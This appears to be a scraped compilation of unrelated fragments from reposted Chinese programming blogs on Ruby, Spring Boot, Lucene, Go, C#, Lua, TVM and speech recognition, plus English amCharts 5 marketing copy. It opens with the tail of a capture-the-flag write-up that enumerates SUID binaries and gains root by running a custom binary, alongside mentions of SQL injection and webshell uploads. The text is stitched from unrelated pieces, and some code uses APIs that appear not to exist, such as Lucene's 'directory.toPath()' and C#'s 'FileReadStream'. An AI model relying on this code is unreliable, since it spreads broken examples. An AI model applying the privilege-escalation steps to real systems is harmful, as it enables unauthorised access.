us-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询：touchmenot 没找到 尝试运行程序：发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这？ 总结 本节使用的工具和漏洞比较基础，涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具：sqlmap 抓包工具：burpsuite Webshell 后门：kali 内置后门 Suid 提权：touchmenot 提权 本篇文章为转载内容。原文链接：https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...le = File.open('important_file.txt', 'w') begin 对文件进行操作，这里可能出现异常 file.write('Critical data...') rescue Exception => e puts "Error occurred while writing to the file: {e.message}" ensure 不管是否发生异常，这段代码总会被执行 file.close unless file.nil? end 在这段代码中，无论写入文件的操作是否成功，我们都能够确保file.close会被调用，这样就可以避免因未正常关闭文件而造成的数据丢失或系统资源泄露的问题。 3. 定制化异常处理 rescue多个类型 Ruby允许你根据不同的异常类型进行定制化的处理，这样可以更加精确地控制程序的行为： ruby begin 可能产生多种类型的异常 divide_by_zero = 1 / 0 non_existent_file = File.read('non_existent_file.txt') rescue ZeroDivisionError => e puts "Whoops! You can't divide by zero: {e.message}" rescue Errno::ENOENT => e puts "File not found error: {e.message}" ensure 同样确保这里的资源清理逻辑总能得到执行 puts 'Cleaning up resources...' end 通过这种方式，我们可以针对不同类型的异常采取不同的恢复策略，同时也能确保所有必要的清理工作得以完成。 4. 思考与总结 处理异常和管理资源并不是一门精确科学，而是需要结合具体场景和需求的艺术。在Ruby的天地里，咱们得摸透并灵活玩转begin-rescue-end-ensure这套关键字组合拳，好让咱编写的代码既结实耐摔又运行飞快。这不仅仅说的是程序的稳定牢靠程度，更深层次地反映出咱们开发者对每个小细节的极致关注，以及对产品品质那份永不停歇的执着追求。 每一次与异常的“交锋”，都是我们磨砺技术、提升思维的过程。只有当你真正掌握了在Ruby中妥善处理异常，确保资源被及时释放的窍门时，你才能编写出那种既能经得起风吹雨打，又能始终保持稳定运行的应用程序。就像是建造一座坚固的房子，只有把地基打得牢靠，把每一处细节都照顾到，房子才能既抵御恶劣天气，又能在日常生活中安全可靠地居住。同样道理，编程也是如此，特别是在Ruby的世界里，唯有妥善处理异常和资源管理，你的应用程序才能健壮如牛，无惧任何挑战。这就是Ruby编程的魅力所在，它挑战着我们，也塑造着我们。

...to/upload/files 这里，我们设置了单个文件的最大大小为2MB，整个请求的最大大小为10MB，并指定了上传文件的保存路径。 2. 创建Controller处理文件上传 接下来，在你的Spring Boot项目中创建一个控制器（Controller）来处理文件上传请求。下面是一个简单的例子： java import org.springframework.core.io.InputStreamResource; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.multipart.MultipartFile; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; @Controller public class FileUploadController { @PostMapping("/upload") public ResponseEntity uploadFile(@RequestParam("file") MultipartFile file) { try { // 检查文件是否存在 if (file.isEmpty()) { return ResponseEntity.badRequest().body("Failed to upload empty file."); } // 获取文件名和类型 String fileName = file.getOriginalFilename(); String contentType = file.getContentType(); // 保存文件到指定路径 File targetFile = new File(upload.path + fileName); Files.copy(file.getInputStream(), Paths.get(targetFile.getAbsolutePath())); return ResponseEntity.ok("File uploaded successfully: " + fileName); } catch (IOException e) { return ResponseEntity.internalServerError().body("Failed to upload file: " + e.getMessage()); } } } 3. 测试文件上传功能 在完成上述配置和编码后，你可以通过Postman或其他HTTP客户端向/upload端点发送一个包含文件的POST请求。确保在请求体中正确添加了文件参数，如： json { "file": "path/to/your/file" } 4. 处理异常与错误 在实际应用中，文件上传可能会遇到各种异常情况，如文件过大、文件类型不匹配、服务器存储空间不足等。在这次的案例里，我们已经用了一段 try-catch 的代码来应对一些常见的错误情况了。就像你在日常生活中遇到小问题时，会先尝试解决，如果解决不了，就会求助于他人或寻找其他方法一样。我们也是这样，先尝试执行一段代码，如果出现预料之外的问题，我们就用 catch 部分来处理这些意外状况，确保程序能继续运行下去，而不是直接崩溃。对于更复杂的场景，例如检查文件类型或大小限制，可以引入更精细的逻辑： java @PostMapping("/upload") public ResponseEntity uploadFile(@RequestParam("file") MultipartFile file) { if (!isValidFileType(file)) { return ResponseEntity.badRequest().body("Invalid file type."); } if (!isValidFileSize(file)) { return ResponseEntity.badRequest().body("File size exceeds limit."); } // ... } private boolean isValidFileType(MultipartFile file) { // Check file type logic here } private boolean isValidFileSize(MultipartFile file) { // Check file size logic here } 结语 通过以上步骤，你不仅能够实现在Spring Boot应用中进行文件上传的基本功能，还能根据具体需求进行扩展和优化。记住，良好的错误处理和用户反馈是提高用户体验的关键。希望这篇文章能帮助你更好地理解和运用Spring Boot进行文件上传操作。嘿，兄弟！你听过这样一句话吗？“实践出真知”，尤其是在咱们做项目的时候，更是得这么干！别管你是编程高手还是设计大师，多试错，多调整，才能找到最适合那个场景的那套方案。就像是做菜一样，不试试加点这个，少放点那个，怎么知道哪个味道最对路呢？所以啊，提升技能，咱们就得在实际操作中摸爬滚打，这样才能把技术玩儿到炉火纯青的地步！

...Directory.open(new File("/path/to/index")); // 创建DirectoryReader DirectoryReader reader = DirectoryReader.open(directory); // 将索引目录转换为路径 Path path = Paths.get("/path/to/backup"); // 复制索引目录到备份路径 Files.copy(directory.toPath(), path); // 关闭DirectoryReader reader.close(); 二、恢复丢失的索引文件 如果索引文件丢失，我们可以尝试恢复它。在许多情况下，丢失的索引文件可能已经被包含在备份文件中。 以下是使用Apache Lucene恢复丢失的索引文件的示例代码： java import org.apache.lucene.index.DirectoryReader; import org.apache.lucene.store.Directory; import org.apache.lucene.store.FSDirectory; // 打开备份目录 Directory directory = FSDirectory.open(new File("/path/to/backup")); // 创建DirectoryReader DirectoryReader reader = DirectoryReader.open(directory); // 将备份目录转换为路径 Path path = Paths.get("/path/to/index"); // 复制备份目录到索引路径 Files.copy(directory.toPath(), path); // 关闭DirectoryReader reader.close(); 三、移动索引文件 如果我们需要将索引文件从一个位置移动到另一个位置，我们可以使用copyTo()方法将索引文件复制到新位置，然后关闭原始索引文件。 以下是使用Apache Lucene移动索引文件的示例代码： java import org.apache.lucene.index.DirectoryReader; import org.apache.lucene.store.Directory; import org.apache.lucene.store.FSDirectory; // 打开原始索引目录 Directory directory = FSDirectory.open(new File("/path/to/index")); // 创建DirectoryReader DirectoryReader reader = DirectoryReader.open(directory); // 获取索引目录的路径 Path oldPath = directory.toPath(); // 获取新索引目录的路径 Path newPath = Paths.get("/path/to/newindex"); // 使用copyTo()方法复制索引文件 directory.copyTo(new FSDirectory(newPath), oldPath); // 关闭DirectoryReader reader.close(); // 关闭原始索引文件 directory.close(); 以上就是关于如何处理“索引文件移动或丢失”问题的一些解决方案，希望对你有所帮助。最后我想唠叨一下，虽然Apache Lucene这款工具真是强大又灵活得不得了，但我们在使唤它的时候，千万可别忘了数据安全和备份这码事儿，要不然一不小心踩到坑里，那损失就太冤枉了。

...st())with open(file_ts,'wb') as f:f.write(ts_find.content)R.append(file_ts)hebing = VideoFileClip(file_ts)L.append(hebing)killProcess()print('下载完成：',file_ts)mp4file = '{0}{1}.mp4'.format(config['FILE_PATH'],name)final_clip = concatenate_videoclips(L)final_clip.to_videofile(mp4file, fps=24, remove_temp=True)killProcess()loop_del_file(R)print('\n下载完成：',name)print('')return Trueexcept:print('~~~~~合成.ts文件失败~~~~~')return None下载视频列表def list_get_kong(list_json):for item in list_json:y = Trueif config['CHECKID']:if check_to_mongo(item['vid']):print('~~~~~检测到重复项~~~~~')y = Falseif y:get_show_html = get_content_requests('https://vmobile.douyu.com/video/getInfo?vid=' + item['vid'])if get_show_html:m3u8_list = get_ts_list(get_show_html.text)if m3u8_list:download = download_ts(m3u8_list, item['title'])if download: save_to_mango(item['vid'])time.sleep(config['TIME_GE'])控制器def main(page):if config['TYPE']==1:print('~~~~~按用户ID采集~~~~~')listurl = 'https://v.douyu.com/video/author/getAuthorVideoListByNew?up_id={0}&cate2_id=0&limit=30&page={1}'.format(config['UID'],page)get_list_html = get_content_requests(listurl)if get_list_html:list_json = get_list(get_list_html.text,1)if list_json:list_get_kong(list_json)else:print('~~~~~按列表ID采集~~~~~')listurl = 'https://v.douyu.com/video/video/listData?page={1}&cate2Id={0}&action=new'.format(config['CID'],page)get_list_html = get_content_requests(listurl)if get_list_html:list_json = get_list(get_list_html.text,2)if list_json:list_get_kong(list_json)初始化if __name__=='__main__':if config['POOL']:groups = [x for x in range(config['PAGE_START'],config['PAGE_END']+1)]pool = Pool()pool.map(main, groups)else:for item in range(config['PAGE_START'],config['PAGE_END']+1):main(item)print('~~~~~已经完成【所有操作】~~~~~') 总结：众所周知，BiliBili是一个学习的网站！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_35875470/article/details/89857445。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...g = Image.open(img_path).resize((224, 224)) Preprocess the image and convert to tensorfrom torchvision import transformsmy_preprocess = transforms.Compose([transforms.Resize(256),transforms.CenterCrop(224),transforms.ToTensor(),transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),])img = my_preprocess(img)img = np.expand_dims(img, 0) Import the graph to Relay ------------------------- Convert PyTorch graph to Relay graph. The input name can be arbitrary.input_name = "input0"shape_list = [(input_name, img.shape)]mod, params = relay.frontend.from_pytorch(scripted_model, shape_list) Relay Build ----------- Compile the graph to llvm target with given input specification.target = tvm.target.Target("llvm", host="llvm")dev = tvm.cpu(0)with tvm.transform.PassContext(opt_level=3):lib = relay.build(mod, target=target, params=params) Execute the portable graph on TVM --------------------------------- Now we can try deploying the compiled model on target.from tvm.contrib import graph_executordtype = "float32"m = graph_executor.GraphModule(lib["default"](dev)) Set inputsm.set_input(input_name, tvm.nd.array(img.astype(dtype))) Executem.run() Get outputstvm_output = m.get_output(0) Look up synset name ------------------- Look up prediction top 1 index in 1000 class synset. synset_url = "".join( [ "https://raw.githubusercontent.com/Cadene/", "pretrained-models.pytorch/master/data/", "imagenet_synsets.txt", ] ) synset_name = "imagenet_synsets.txt" synset_path = download_testdata(synset_url, synset_name, module="data") https://raw.githubusercontent.com/Cadene/pretrained-models.pytorch/master/data/imagenet_synsets.txtsynset_path = 'imagenet_synsets.txt'with open(synset_path) as f:synsets = f.readlines()synsets = [x.strip() for x in synsets]splits = [line.split(" ") for line in synsets]key_to_classname = {spl[0]: " ".join(spl[1:]) for spl in splits} class_url = "".join( [ "https://raw.githubusercontent.com/Cadene/", "pretrained-models.pytorch/master/data/", "imagenet_classes.txt", ] ) class_name = "imagenet_classes.txt" class_path = download_testdata(class_url, class_name, module="data") https://raw.githubusercontent.com/Cadene/pretrained-models.pytorch/master/data/imagenet_classes.txtclass_path = 'imagenet_classes.txt'with open(class_path) as f:class_id_to_key = f.readlines()class_id_to_key = [x.strip() for x in class_id_to_key] Get top-1 result for TVMtop1_tvm = np.argmax(tvm_output.numpy()[0])tvm_class_key = class_id_to_key[top1_tvm] Convert input to PyTorch variable and get PyTorch result for comparisonwith torch.no_grad():torch_img = torch.from_numpy(img)output = model(torch_img) Get top-1 result for PyTorchtop1_torch = np.argmax(output.numpy())torch_class_key = class_id_to_key[top1_torch]print("Relay top-1 id: {}, class name: {}".format(top1_tvm, key_to_classname[tvm_class_key]))print("Torch top-1 id: {}, class name: {}".format(top1_torch, key_to_classname[torch_class_key])) 2. 配置vscode   安装两个vscode远程连接所需的两个插件，具体如下图所示：   安装完成之后，在左侧工具栏会出现一个图标，点击图标进行ssh配置： ssh yourname@yourip -A   然后右键选择在当前窗口进行连接：   除此之外，还可以设置免费登录，具体可参考这篇文章。   当然，也可以使用windows本地的WSL2，vscode连接WSL还需要安装WSL和Dev Containers这两个插件。   在服务器端执行code .会自动安装vscode server，安装位置在用户的根目录下： 3. 安装FFI Navigator   由于TVM是由Python和C++混合开发，且大多数的IDE仅支持在同一种语言中查找函数定义，因此对于跨语言的FFI 调用，即Python跳转到C++或者C++跳转到Python，vscode是做不到的。虽然解决这个问题在技术上可能非常具有挑战性，但我们可以通过构建一个与FFI注册码模式匹配并恢复必要信息的项目特定分析器来解决这个问题，FFI Navigator就这样诞生了，作者仍然是陈天奇博士。   安装方式如下： 建议使用源码安装git clone https://github.com/tqchen/ffi-navigator.git 安装python依赖cd ffi-navigator/pythonpython setyp.py install   vscode需要安装FFI Navigator插件，直接搜索安装即可(安装到服务器端)。   最后需要在.vscode/setting.json进行配置，内容如下： {"python.analysis.extraPaths": ["${workspaceFolder}/python"], // 添加额外导入路径, 告诉pylance自定义的python库在哪里"ffi_navigator.pythonpath": "/home/liyanpeng/anaconda3/envs/tvmenv/bin/python", // 配置FFI Navigator"python.defaultInterpreterPath": "/home/liyanpeng/anaconda3/envs/tvmenv/bin/python","files.associations": {"type_traits": "cpp","fstream": "cpp","thread": "cpp",".tcc": "cpp"} }   更详细内容可以参考项目链接。 结束语   对于vscode的使用技巧及C/C++相关的配置，这里不再详细的介绍了，感兴趣的小伙伴们可以了解下。 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_42730750/article/details/126723224。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

... 在C中，文件流（FileStream）是System.IO命名空间下的一种类，它允许我们以流的形式对文件进行高效、灵活的读写操作。主要分为两种基本类型： - 读取流（Read Stream）：如FileReadStream，用于从文件中读取数据。 - 写入流（Write Stream）：如FileWriteStream，用于向文件中写入数据。 2. 创建和打开文件流 首先，创建或打开一个文件流需要指定文件路径以及访问模式。下面是一个创建并打开一个文件进行写入操作的例子： csharp using System; using System.IO; class Program { static void Main() { // 指定文件路径和访问模式 string filePath = @"C:\Temp\example.txt"; FileMode mode = FileMode.Create; // 创建并打开一个文件流 using FileStream fs = new FileStream(filePath, mode); // 写入数据到文件流 byte[] content = Encoding.UTF8.GetBytes("Hello, File Stream!"); fs.Write(content, 0, content.Length); Console.WriteLine($"Data written to file: {filePath}"); } } 上述代码首先定义了文件路径和访问模式，然后创建了一个FileStream对象。这里使用FileMode.Create表示如果文件不存在则创建，存在则覆盖原有内容。接着，我们将字符串转换为字节数组并写入文件流。 3. 文件流的读取操作 读取文件流的操作同样直观易懂。以下是一个读取文本文件并将内容打印到控制台的例子： csharp static void ReadFileStream(string filePath) { using FileStream fs = new FileStream(filePath, FileMode.Open); using StreamReader reader = new StreamReader(fs, Encoding.UTF8); // 读取文件内容 string line; while ((line = reader.ReadLine()) != null) { Console.WriteLine(line); // 这里可以添加其他处理逻辑，例如解析或分析文件内容 } } 在这个示例中，我们打开了一个已存在的文件流，并通过StreamReader逐行读取其中的内容。这在处理配置文件、日志文件等场景非常常见。 4. 文件流的高级应用与注意事项 文件流在处理大文件时尤为高效，因为它允许我们按块或按需读取或写入数据，而非一次性加载整个文件。但同时，也需要注意以下几个关键点： - 资源管理：务必使用using语句确保流在使用完毕后能及时关闭，避免资源泄漏。 - 异常处理：在文件流操作中，可能会遇到各种IO错误，如文件不存在、权限不足等，因此要合理捕获和处理这些异常。 - 缓冲区大小的选择：根据实际情况调整缓冲区大小，可以显著提高读写效率。 综上所述，C中的文件流处理功能强大而灵活，无论是简单的文本文件操作还是复杂的大数据处理，都能提供稳定且高效的解决方案。在实际操作中，我们得根据业务的具体需要，真正吃透文件流的各种功能特性，并且能够灵活运用到飞起，这样才能让文件流的威力发挥到极致。

...个新文件 File.open('test.txt', 'w') do |f| f.write('Hello, World!') end rescue SystemCallError => e puts "Failed to create file: {e.message}" end 在这个例子中，我们尝试创建一个名为test.txt的新文件。如果文件创建成功，那么这段代码将正常结束。但是如果文件创建失败（例如，因为权限不足），那么就会抛出一个SystemCallError。我们使用try...catch语句来捕获这个异常，并打印出错误信息。 六、结论 总的来说，SystemCallError是一种非常常见的编程错误。通过了解其原因和解决方法，我们可以更好地应对这种问题。同时呢，咱们也得养成出色的编程习惯，就像是好好刷牙、天天健身一样重要。别让权限不足或者那些个乱七八糟的问题，偷偷摸摸地引发SystemCallError这种“小恶魔”，把咱们的代码世界搞得一团糟哈。 七、结尾 以上就是对SystemCallError的介绍和解决方案的探讨。希望大家能够从中学到一些有用的知识，提高自己的编程水平。如果你有任何疑问或者建议，欢迎随时联系我。谢谢大家！

...err := os.Open("unreliable_resource") // 不处理返回的错误 // ... } func main() { riskyFunction() // 后续的代码将继续执行，尽管前面可能已经发生了错误 } 在上面的代码片段中，riskyFunction函数并未处理os.Open可能返回的错误，这会导致如果打开资源失败，程序并不会立即停止或报告错误，反而可能会继续执行后续逻辑，产生难以预料的结果，比如数据丢失、状态混乱甚至系统崩溃。 4. 如何妥善处理异常情况 --- 为了避免上述情况，我们需要养成良好的编程习惯，始终对所有可能产生错误的操作进行检查和处理： go func safeFunction() error { file, err := os.Open("important_file.txt") if err != nil { return fmt.Errorf("failed to open the file: %w", err) // 使用%w包裹底层错误以保持堆栈跟踪 } defer file.Close() // 其他操作... return nil // 如果一切顺利，返回nil表示无错误 } func main() { err := safeFunction() if err != nil { fmt.Println("An error occurred:", err) os.Exit(1) // 在主函数中遇到错误时，可以优雅地退出程序 } } 在以上示例中，我们确保了对每个可能出错的操作进行了捕获并处理，这样即使出现问题，也能及时反馈给用户或程序，而不是让程序陷入未知的状态。 5. 结语 --- 总之，编写健壮的Golang应用程序的关键在于，时刻关注并妥善处理代码中的异常情况。虽然Go语言没有那种直接内置的异常处理功能，但是它自个儿独创的一种错误处理模式可厉害了，能更好地帮我们写出既清晰又易于掌控的代码，让编程变得更有逻辑、更靠谱。只有当我们真正把那些藏起来的风险点都挖出来，然后对症下药，妥妥地处理好，才能保证咱们的程序在面对各种难缠复杂的场景时，也能稳如老狗，既表现出强大的实力，又展现无比的靠谱。所以，甭管你是刚摸Go语言的小白，还是已经身经百战的老鸟，都得时刻记在心里：每一个错误都值得咱好好对待，这可是对程序生命力的呵护和尊重呐！

...t('SAPI.SpFileStream')infile = 'demo.txt'outfile = 'demo_audio.wav' 获取流写入通道stream.open(outfile, SpeechLib.SSFMCreateForWrite) 给语音源头添加输出流engine.AudioOutputStream = stream 读取文本内容 打开文件f = open(infile, 'r', encoding='utf-8') 读取文本内容theText = f.read() 关闭流对象f.close() 语音对象，读取文本内容engine.speak(theText)stream.close() 语音转换为文本 使用 PocketSphinx   PocketSphinx 是一个用于语音转换文本的开源 API。它是一个轻量级的语音识别引擎， 尽管在桌面端也能很好地工作，它还专门为手机和移动设备做过调优。首先使用 pip 命令安装所需模块，命令如下： pip install PocketSphinxpip install SpeechRecognition 下载地址：https://pypi.org/project/SpeechRecognition/ 下载缓慢推荐您使用第三方通道下载 pip install -i https://mirrors.aliyun.com/pypi/simple 模块名 【示例】使用 PocketSphinx 实现语音转换文本 import speech_recognition as sr 获取语音文件audio_file = 'demo_audio.wav' 获取识别语音内容的对象r = sr.Recognizer() 打开语音文件with sr.AudioFile(audio_file) as source:audio = r.record(source) 将语音转化为文本 print('文本内容:', r.recognize_sphinx(audio)) recognize_sphinx() 参数中language='en-US' 默认是英语print('文本内容:', r.recognize_sphinx(audio, language='zh-CN')) 普通话识别问题  speech_recognition 默认识别英文，是不支持中文的，需要在Sphinx语音识别工具包里面下载对应的 普通话包 和 语言模型 。 安装步骤： 下 载 地 址：https://sourceforge.net/projects/cmusphinx/files/Acoustic%20and%20Language%20Models/ 点击 Mandarin下载cmusphinx-zh-cn-5.2.tar.gz并解压. 在python安装目录下找到Lib\site-packages\speech_recognition 点击进入pocketsphinx-data文件夹，会看到一个en-US文件夹，再新建文件夹zh-CN 在这个文件夹中添加进入刚刚解压的文件，需要注意：把解压出来的zh_cn.cd_cont_5000文件夹重命名为acoustic-model、zh_cn.lm.bin命名为language-model.lm.bin、zh_cn.dic中dic改为dict格式。即与en-US文件夹中命名一样。 参考：https://blog.csdn.net/qq_32643313/article/details/99936268 致以感谢 后序 浅显的学习语音识别，不足之处甚多，深究后，将更新文章。 感谢跟随老师的代码在未知领域里探索，希望我能走的更高更远 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_46092061/article/details/113945654。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...err := os.Open("test.txt") if err != nil { fmt.Println("打开文件失败:", err) return } defer file.Close() // 继续处理文件... } 在这个例子中，我们尝试打开一个名为“test.txt”的文件。如果文件不存在或者权限不足等导致操作失败，os.Open()会返回一个非空的错误对象。通过检查这个错误对象，我们可以及时发现并处理问题。 3.2 使用错误链路 在复杂的应用中，一个操作可能会触发多个后续步骤，每个步骤都可能产生新的错误。在这种情况下，错误链路（即错误传播）变得尤为重要。我们可以利用Go语言的多返回值特性来实现这一点。 go func readConfig(filePath string) (map[string]string, error) { file, err := os.Open(filePath) if err != nil { return nil, fmt.Errorf("打开配置文件失败: %w", err) } defer file.Close() var config map[string]string decoder := json.NewDecoder(file) if err := decoder.Decode(&config); err != nil { return nil, fmt.Errorf("解析配置文件失败: %w", err) } return config, nil } func main() { config, err := readConfig("config.json") if err != nil { log.Fatalf("读取配置文件失败: %v", err) } // 使用配置... } 在这个例子中，readConfig函数尝试打开并解析一个JSON格式的配置文件。如果任何一步失败，我们都会返回一个包含原始错误的错误对象。这样做不仅可以让错误信息更加完整，还便于我们在调用方进行统一处理。 3.3 自定义错误类型 虽然标准库提供的error接口已经足够强大，但在某些场景下，我们可能需要更丰富的错误信息。这时，可以定义自己的错误类型来扩展功能。 go type MyError struct { Message string Code int } func (e MyError) Error() string { return fmt.Sprintf("错误代码%d: %s", e.Code, e.Message) } func doSomething() error { return &MyError{Message: "操作失败", Code: 500} } func main() { err := doSomething() if err != nil { log.Printf("发生错误: %v", err) } } 在这个例子中，我们定义了一个自定义错误类型MyError，它包含了一个消息和一个错误码。这样做的好处是可以根据不同的错误码采取不同的处理策略。 4. 错误信息的最佳实践 最后，我想分享一些我在日常开发中积累的经验，这些经验有助于写出更好的错误信息。 - 明确且具体：错误信息应该直接指出问题所在，避免模糊不清的描述。 - 用户友好的：对于最终用户可见的错误信息，尽量使用通俗易懂的语言。 - 提供解决方案：如果可能的话，给出一些基本的解决建议。 - 避免泄露敏感信息：在生成错误信息时，注意不要暴露敏感数据，如密码或密钥。 结语 错误信息是我们与程序之间的桥梁，它能帮助我们更好地理解问题所在，并找到解决问题的方法。在Go语言里，错误处理不仅仅是个技术活儿，它还代表着一种态度——就是要做出高质量的软件的那种执着精神。希望通过这篇文章，你能在未来的项目中更加重视错误信息的处理，从而写出更加健壮和可靠的代码。 --- 以上内容结合了理论与实践，旨在让你对Go语言中的错误处理有更深的理解。记住，好的错误信息就像是一位优秀的导游，它能带你穿越迷雾，找到正确的方向。

...file = io.open("example.txt", "r") if file then print(file:read("all")) file:close() else print("Failed to open the file.") end 2. 导入第三方库 对于需要更复杂功能的情况，开发者可能会选择使用第三方库。这些库往往封装了大量的功能，并提供了易于使用的 API。哎呀，要在 Lua 里用到那些别人写的库啊，首先得确保这个库已经在你的电脑上安好了，对吧？然后呢，还得让 Lua 找得到这个库。你得在设置里告诉它，嘿，这个库的位置我知道了，快去那边找找看！这样，你就可以在你的 Lua 代码里轻轻松松地调用这些库的功能啦！是不是觉得跟跟朋友聊天一样，轻松多了？ 示例代码： 假设我们有一个名为 mathlib 的第三方库，其中包含了一些高级数学函数。首先，我们需要下载并安装这个库。 安装步骤： - 下载：从库的官方源或 GitHub 仓库下载。 - 编译：根据库的说明，使用适当的工具编译库。 - 配置搜索路径：将库的 .so 或 .dll 文件添加到 Lua 的 LOADLIBS 环境变量中，或者直接在 Lua 代码中指定路径。 使用代码： lua -- 导入自定义的 mathlib 库 local mathlib = require("path_to_mathlib.mathlib") -- 调用库中的函数 local result = mathlib.square(5) print("The square of 5 is: ", result) local power_result = mathlib.power(2, 3) print("2 to the power of 3 is: ", power_result) 3. 导入和使用自定义模块 在开发过程中，你可能会编写自己的模块，用于封装特定的功能集。这不仅有助于代码的组织，还能提高可重用性和维护性。 创建自定义模块： 假设我们创建了一个名为 utility 的模块，包含了常用的辅助函数。 模块代码： lua -- utility.lua local function add(a, b) return a + b end local function subtract(a, b) return a - b end return { add = add, subtract = subtract } 使用自定义模块： lua -- main.lua local utility = require("path_to_utility.utility") local result = utility.add(3, 5) print("The sum is: ", result) local difference = utility.subtract(10, 4) print("The difference is: ", difference) 4. 总结与思考 在 Lua 中导入和使用外部模块的过程，实际上就是将外部资源集成到你的脚本中，以增强其功能和灵活性。哎呀，这个事儿啊，得说清楚点。不管是 Lua 自带的那些功能工具，还是咱们从别处找来的扩展包，或者是自己动手编的模块，关键就在于三件事。第一，得知道自己要啥，需求明明白白的。第二，环境配置得对头，别到时候出岔子。第三，代码得有条理，分门别类，这样用起来才顺手。懂我的意思吧？这事儿可不能急，得慢慢来，细心琢磨。哎呀，你听过 Lua 这个玩意儿没？这家伙可厉害了，简直就是编程界的万能工具箱！不管你是想捣鼓个小脚本，还是搞个大应用，Lua 都能搞定。它就像个魔术师，变着花样满足你的各种需求，真的是太灵活、太强大了！ 结语 学习和掌握 Lua 中的模块导入与使用技巧，不仅能够显著提升开发效率，还能让你的项目拥有更广泛的适用性和扩展性。哎呀，随着你对 Lua 语言越来越熟悉，你会发现，用那些灵活多变的工具，就像在厨房里调制美食一样，能做出既省时又好看的大餐。你不仅能快速搞定复杂的任务，还能让代码看起来赏心悦目，就像是艺术品一样。这不就是咱们追求的高效优雅嘛！无论是处理日常任务，还是开发复杂系统，Lua 都能以其简洁而强大的特性，成为你编程旅程中不可或缺的一部分。

...ated into files, so you load only what you really need. Users will surely appreciate faster load times. Better tree-shaking We also designed amCharts 5 to be extremely tree-shakable. If you are using Webpack or similar packager, only code that is really needed will be included into your final application. The most advanced chart package Classics with some new twists XY charts are now so powerful and flexible, you can plot any data on them. Number, date, duration, or category axes are supported, in all directions. Pie charts are now fully nestable, with support for custom start and end angles, to create half circles. New geo maps Our maps use GeoJSON format. Being open and widely accepted standard it opens up a lot of possibilities and sources for ready-made and custom maps. Furthermore, maps are now very flexible, with multi-series support, configurable down to the nut and bolt. (Maps is and add-on to amCharts 5: Charts which requires separate license) More about amCharts 5: Maps Pictorials Create multi-layer, multi-series pictorial charts. Any SVG path can be used as a shape for your chart. Sankey Diagrams Stunning flow diagrams, in horizontal and vertical. With draggable, fully configurable nodes. Enhanced radar charts With stacked column, bands, axes, and other dramatic enhancements, radar charts are now way more useful. Treemaps Completely zoomable, multi-level, highly configurable. Heatmaps Automatically build heat-maps, with custom axes, color ranges, and awesome new interactive Heat Legend. Create heatmaps using colors, or point size or both. Universal and flexible heat rules allow attaching any value in data to any property or properties on any element. Chord diagrams Visualize your 2-way relational data in a neat circular Chord diagrams. We do have different variations of the classic diagram: Chord, Chord directed, and Chord non-ribbon. True funnel charts amCharts 5 offers true Funnel charts the way they were meant to be. Slice’s area size represents the value, so each step’s influence on overall volume reduction is more prominent than with basic funnels. Trapezoid form can also be configured to further emphasize reduction. Complete it with other visual elements, like fully configurable slice lines, multiple series support, togglable legends, and many many more options. Customizable beauty built-in Powerful theme engine amCharts 5 comes with a bunch of beautiful themes as well as a super flexible theme engine, which you can use. We devised a CSS-like rule-based theme targeting system in themes. Using, creating, customizing themes or standalone rules has never been so easy. The new system allows applying defaults to elements based on their type, features, or position in a virtual element tree. Fresh new look Default looks designed to look fresh, like something out of tomorrow. Carefully selected color schemes and default settings were specifically chosen to make the charts stand out. Silk-smooth animations Every setting – colors, positions, sizes, opacity, and many more – is animatable to ensure smooth transitions. No choppy, stepped animations – everything is fluid, including zoom and toggling of series and other items. Flexibility Element templates Most elements are created using templates: a collection of default settings, events, and adapters. Changing template automatically propagates changes to actual elements, making it easy to do batch updates. Everything’s configurable Numerous configuration options allow inventive uses, bordering on new chart types. Angles, colors, positions, radii, a-n-y-t-h-i-n-g can be set to bend classic and new chart types exactly the way you need them. Element states Easily change how an element looks like under different circumstances, e.g. on some interaction, hover, click, or related to data (eg. column look if a value is down). The engine will automatically apply the required properties as needed, animating between old and new values smoothly. Create and apply custom states via the API. Multi-type multi-axis support Add any number of axes of any type. Create overlaid comparison of different time scales. Use any mix of dimensional values: numbers, dates, categories, or duration. Adapters “Adapters” functionality allows plugging in custom code to dynamically override just about any setting or data value. Text formatting All text labels – tooltips, axis labels, titles, etc. – now support rich text formatting options, like changing colors, font weight, or 